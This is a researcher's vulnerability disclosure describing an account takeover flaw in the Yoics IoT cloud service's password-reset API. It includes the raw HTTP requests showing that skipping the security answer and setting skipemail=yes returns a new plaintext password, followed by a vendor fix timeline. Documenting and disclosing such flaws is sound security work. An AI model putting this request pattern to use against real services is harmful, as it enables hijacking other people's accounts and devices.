Yoics: account takeover vulnerability
Full account takeover in an IoT cloud provider used by manufacturers such as Cisco and Phillips.
Yoics market themselves as “secure cloud networking” and is a service that allows you to “Internet access (almost) anything”. Many top brands use Yoics services in their devices; Cisco, Astak, Philips and more. A good example is the Philips In.Sight M100 Wireless Home Monitor.
By exploiting a flaw in the Yoics service, it was possible for an attacker to manipulate the password reset functionality to reset the password to any account, providing they know the users e-mail address.
Let’s take a look at the raw HTTP requests.
To begin the password reset process we first get the security question that we need to answer:
GET /web/api/user.ashx?key=PhilipsAndroid&email=6140622e636f6d&action=getsecurityquestion&type=xml HTTP/1.1
The email
field is just the e-mail address hex encoded. The call simply returns the security question: <passwordquestion>Favorite Pet's Name</passwordquestion>
To complete the password reset process we send another HTTP request with the answer:
GET /web/api/user.ashx?key=PhilipsAndroid&email=6140622e636f6d&answer=626f62&skipemail=no&action=recoverpassword&type=xml HTTP/1.1
Again, the answer
parameter is just hex encoded. If the answer is wrong we get back a simple error message. All is good.
After trying various different combinations I noticed if you ommit the answer
parameter entirely you get a <status>ok</status>
message. Has it been reset? A few minutes later I received the standard password reset e-mail. Hmm, I wonder… Let’s try setting the skipemail
parameter to yes:
GET /web/api/user.ashx?key=PhilipsAndroid&email=6140622e636f6d&skipemail=yes&action=recoverpassword&type=xml HTTP/1.1
And the response:
<status>ok</status>
<password>0d8jerg</password>
Wham, bam, thank you ma’am. From here an attacker can login with the given password and access the the users IoT devices remotely.
Disclosure timeline
- 27/01/2015 - Initial contact made with vendor.
- 29/01/2015 - Vendor confirmed the bug and will fix as a priority (within 24 hours).
- 30/01/2015 - Patch is live in production. Confirmed fixed.